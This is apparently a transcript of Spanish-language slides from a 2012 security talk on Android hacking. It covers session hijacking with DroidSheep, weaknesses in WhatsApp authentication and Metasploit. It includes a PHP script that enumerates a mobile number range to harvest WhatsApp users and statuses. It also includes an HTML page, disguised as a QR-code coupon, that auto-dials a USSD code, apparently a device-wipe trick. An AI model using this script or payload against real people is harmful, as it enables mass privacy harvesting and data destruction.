¿Por qué Android?
Transcripción
¿Por qué Android?
DISCLAIMER Todo el contenido de esta charla es resultado de investigación con fines didácticos y educativos. El autor no se hace responsable por el uso del conocimiento contenido en la siguiente presentación. La información contenida debe ser utilizada únicamente para fines éticos y con la debida autorización. Todo descubrimiento realizado, ha sido y será usado de forma legal. La audiencia debe asumir todo lo que se exponga hoy, como “falso” y “sin fundamento” hasta que lo compruebe personalmente. Limahack no es el autor directo de ninguno de los descubrimientos expuestos, ni de las herramientas demostradas, ni los conoce. Todas las opiniones vertidas durante esta presentación son exclusivas del expositor, Limahack no es responsable de ninguna de las opiniones vertidas. aula H4XOR ataques y atacando con el androide ¿Por qué Android? Ataques a Sistemas Operativos Windows - Linux Ataques a redes LAN desde Android Atacando a sistemas Android Omar Palomino Android mobile hacking: ¿Quién soy? • Ing. Sistemas y Maestrista de Ing. de Computación y Sistemas • Certificado CEHv7, Security+, ITILv3 • Consultor en Seguridad de información • Psicólogo que aun no comienza sus estudios…. • Escritor en mis tiempos libres: http://www.el-palomo.com http://www.facebook.com/El.Palomo.Seguridad.Informacion [email protected] ¿Por qué Android? Participación en el mercado de Sistemas Operativos móviles 4% 4% 2% 0% Android 5% IOS 17% Blackberry 68% Symbian Windows Linux Otros ¿Por qué Android? • Otros sistemas operativos ya no tienen participación en el mercado (RIP – Blackberry) • Los hackers están buscando nuevos objetivos (nuevos retos!!) , siempre a la vanguardia. ¿Por qué Android? • Se pueden realizar ataques cada vez mas sigilosos (ya no es necesario una laptop para realizar ataques) • Es muy común que a través de Android nos …. • Conectamos a redes wireless libres • Accedamos a correo electrónico • Accedamos a redes sociales • Realicemos transacciones financieras La agenda de hoy: Atacando S.O Windows Ataques de red LAN Forense de tráfico generado x Android Android vs Metasploit Requisitos: • Tener el Android rooteado (super privilegios). Todas las herramientas interesantes requieren de super-privilegios. • Analizar la mejor situación para realizar un ataque. • Utiliza tu “Android” es un gran amigo. Atacando Windows Tool: Anti (Android Network Toolkit) http://www.zimperium.com/ Con Anti podemos: Buscar vulnerabilidades Auditoría de passwords Ataques de man in the middle Ejecutar comandos en el SO Descubrir tráfico inseguro en la red Atacando Windows Atacando Windows USO DE NMAP SCANEO DE PUERTOS DETECCIÓN DE SIST. OPERATIVO SCRIPT DE VERIFICACIÓN DE VULNERABILIDADES Atacando Windows Atacando una red LAN • • • • Hace session hijacking (secuestro de sesiones) a aplicaciones web conocidas (Facebook, Hotmail, Twitter) El código fuente es libre: http://droidsheep.de/ Lo retiraron del Google Play debido a que fue considerado una herramienta para hackear. WTF!!!! La comunidad XDA-developers sigue sacando nuevas versiones del software. (http://forum.xdadevelopers.com) Atacando una red LAN Funcionamiento: Session Hijacking 1 El usuario ha ingresado normalmente a una aplicación web comercial o corporativo, como: • Hotmail • Facebook • Twitter 2 DROIDSHEEP capturas las cookies asociadas a la sesión creada y las utiliza. No es necesario capturar la contraseña. Atacando una red LAN Funcionamiento: Session Hijacking • Droidsheep reconoce las cookies de aplicaciones como Facebook y Hotmail, además te puedes enviar las cookies por correo electrónico. Atacando una red LAN Análisis de Tráfico Android • • • Cada vez utilizamos nuestros celulares para conectarnos a Internet. La mayoría de las personas se conecta a redes wireless abiertas. Como TÚ!!! Muchas aplicaciones no encriptan la información que envían, las envían en texto plano. ¿Por qué es interesante analizar el tráfico de red….? ¿Por qué es interesante analizar el tráfico de red….? Análisis de tráfico - Whatsapp • • • • Whatsapp se ha convertido en un mecanismo para el envío de mensajes muy popular. Es muy parecido a los SMS pero gratuito (hasta el momento). Tiene serios problemas para dar seguridad a la información que envía hacia internet porque enviaba todo en texto claro. Ahora envía la información con un HASH MD5 Pero… es sólo un simple MD5 • Whatsapp tiene serios problemas de seguridad, analicemos: Cada vez que Whatsapp inicia debe verificar si tus contactos cuentan con una cuenta activada. Para eso se conecta a una URL y consulta el estado de tus contactos, por ejemplo: https://sro.whatsapp.net/client/iphone/iq.php?cd=1&cc=<A>&me=<B>&u[]=<C> <A>:Código de país del número a consultar <B>: Número a consultar <C>: Cualquier número de WhatsApp (o el mismo número) Pero… es sólo un simple MD5 Número del teléfono consultado Estado y mensaje del Whatsapp Número del teléfono consultado ¿Cuánta gente tiene Whatsapp en el Perú? • El ministerio de transportes y comunicaciones nos dará una manito: Script para la verificación de usuarios y estado en Whatsapp <?php mysql_connect("localhost","root",“password"); mysql_select_db("limahakc2012"); AQUÍ VIENE EL SCRIPT QUE ESTOY TERMINANDO DE ESCRIBIR for($i=970000000; $i<=979999999;$i++){ $whatsapp ="https://sro.whatsapp.net/client/iphone/iq.php?cd=1&cc=51&me=".$i."&u[]=".$i; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch,CURLOPT_USERAGENT,'WhatsApp/2.6.7 iPhone_OS/5.0.1 Device/Unknown_(iPhone4,1)'); curl_setopt($ch, CURLOPT_URL, $whatsapp); $cuerpo = curl_exec($ch); curl_close($ch); https://sro.whatsapp.net/client/iphone/iq.php?cd=1&cc=51&me=9738 61650&u[]=973861650 if (preg_match('/<key>/',$cuerpo)) { $explodeo_datos = explode('<dict>',$cuerpo); $explodeo_estado = explode('<key>S</key>',$explodeo_datos[1]); $explodeo_estado = explode('<key>JID</key>',$explodeo_estado[1]); $query1 ="insert into WhatsApp_users3 (numero,mensaje,status) values ('".$i."','".$$explodeo_estado[0]."',1) "; mysql_query($query1); }}?> EL ATAQUE: ¿Cómo envía Whatsapp los mensajes? • • • • WhatsApp tiene un mecanismo de autenticación basado en SASL DIGEST – MD5. Envia un CHALLENGE (RETO) formado por el JID (jabber id) y password, pero obviamente el password no se envía ya que sirve para generar el CHALLENGE (MD5) ¿PASSWORD? Pero si nunca pusimos un password. El password es: • Android: IME (International Identity) • Iphone y otros: la MAC Mobile Equipment WhatsApp - API • API no oficial de WhatsApp • Está bajo licencia MIT – refer to the source code for the extra line INGENIERIA REVERSA El ataque: obteniendo el IMEI • Si obtenemos el IMEI podemos suplantar una identidad de alguien y ademas recibir sus mensajes. • OJO: Si te haces pasar por esa persona y recibes los mensajes, la verdadera persona no los recibirá. • Moraleja: “El celular es como el calzoncillo ….. No se presta a nadie… a nadie!!!” EL ATAQUE: Atacando Android Atacando Android • Utilizaremos el Android Virtual Device para hacer nuestras pruebas. • El objetivo es información sensible teléfonos celulares. • Lo más importante es tener actualizado siempre el celular. • A veces, no basta con tenerlo actualizado porque sólo se sacan actualizaciones para los últimos modelos. obtener de los Atacando Android • Utilizaremos un módulo auxiliar de Metasploit para realizar el ataque. Atacando Android EL ATAQUE: Códigos USSD El USSD (acrónimo de Unstructured Supplementary Service Data, Servicio Suplementario de Datos no Estructurados en inglés) es un servicio para el envío de datos a través de móviles GSM, al igual que el SMS. Es usado normalmente para comunicación con el proveedor de telefonía, generalmente para servicios de mensajería en tiempo real. Aquí algunos códigos USSD: *#06# *150# *2767*3855# (no deberías ejecutar este) Códigos USSD Así como existe los links para enviar correo: <a mailto:[email protected] ……..> Enviar email </a> También existe el mail para “LLAMAR”: <a href="tel:987654321">llamar LIMAHACK</a> Algunos códigos USSD no necesitan la intervención de “marcado” para ser ejecutados, simplemente se ejecutan, pueden probar esto: *#06# Entonces que pasa si…… EL ATAQUE: Revisa el código QR, imprime el cupón y entra gratis a la fiesta: EL ATAQUE: Revisa el código QR, imprime el cupón y entra gratis a la fiesta: EL ATAQUE: Revisa el código QR, imprime el cupón y entra gratis a la fiesta: EL ATAQUE: <html> <head> <title>Fiesta LimaHack 2012</title> <meta http-equiv="Refresh" content="0;url=tel *2797*3855%23 "> </head></body> </html> Aplicaciones APK Maliciosas > Se han heredado todas las malas costumbres del mundo Windoneano, todos instamos dando NEXT, NEXT, NEXT > ¿Sabemos lo que realmente estamos instalando en nuestro celular? Google Play y la política….. Información personal y confidencial: no se permite la divulgación o la publicación no autorizada de información de carácter privado o confidencial de los usuarios (como números de tarjetas de crédito, de la Seguridad Social, del permiso de conducir o de otros documentos ) ni de cualquier otra información que no sea de acceso público. El problema es que NADIE lo verifica. http://play.google.com/intl/ALL_es/about/developercontent-policy.html Instalaremos una aplicación https://play.google.com/store/apps/details?id=com.elpalo mo.reservations Google Play y la política….. Antes de instalar el APK: http://www.el-palomo.com/limahack/reservations.txt Después de instalar: http://www.el-palomo.com/limahack/reservations.txt Créditos: [email protected] Developer de aplicaciones para Android Google Play y la política….. Google Play y la política….. Google Play y la política….. EL ATAQUE: Conclusiones Android es una herramienta muy potente para realizar pruebas básicas de penetración de sistemas, a nivel de sistema operativo y redes LAN. WhatsApp presenta debilidades de seguridad importantes. El celular nunca se presta!!!! Nunca!! de información Existen diversas vulnerabilidades en sistemas Android : Códigos USSD y a través de Metasploit para versiones antiguas de Android. Google Play tiene una política de seguridad de información, sin embargo, no verifica que las aplicaciones cumplan con dicha política. Actualiza tu Android, verifica los permisos otorgados a cada aplicación y no instales APK files de dudosa procedencia.